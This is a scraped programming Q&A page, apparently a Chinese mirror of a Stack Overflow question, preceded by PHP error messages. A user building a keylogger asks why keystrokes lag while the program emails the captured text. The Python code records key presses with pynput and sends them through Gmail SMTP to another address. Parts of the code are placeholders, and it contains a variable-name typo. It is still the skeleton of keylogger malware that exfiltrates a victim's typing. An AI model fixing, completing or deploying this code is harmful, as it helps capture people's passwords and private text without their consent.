Warning: file_get_contents(/data/phpspider/zhask/data//catemap/8/python-3.x/19.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Python 3.x 在键盘记录器中发送电子邮件时输入延迟_Python 3.x_Smtplib_Pynput - Fatal编程技术网

Python 3.x 在键盘记录器中发送电子邮件时输入延迟

Python 3.x 在键盘记录器中发送电子邮件时输入延迟,python-3.x,smtplib,pynput,Python 3.x,Smtplib,Pynput,我正在做一个键盘记录器作为我的第二个项目,一切正常,但是,在发送电子邮件的过程中收集数据(一个通常有100-150个单词的字符串)之后,电脑会遭受很多键盘延迟。我已经试着暂停检查按键的侦听器,但没有成功,我正在使用pynput收集数据,使用smtplib发送电子邮件,有什么想法吗 from pynput.keyboard import Key, Listener import smtplib, ssl def send_mail(): with smtplib.SMTP_SSL("sm

我正在做一个键盘记录器作为我的第二个项目,一切正常,但是,在发送电子邮件的过程中收集数据(一个通常有100-150个单词的字符串)之后,电脑会遭受很多键盘延迟。我已经试着暂停检查按键的侦听器,但没有成功,我正在使用pynput收集数据,使用smtplib发送电子邮件,有什么想法吗

from pynput.keyboard import Key, Listener
import smtplib, ssl

def send_mail():
    with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=ssl.create_default_context()) as server:
        server.login("sender@gmail.com", "password")
        server.sendmail("sender@gmail.com", "reciever@gmail.com", string)
        server.quit()
    strin=''

def on_press(key):
    #gather information
    if len(string) > 100:
        send_mail()


with Listener(on_press=on_press) as listener:
    listener.join()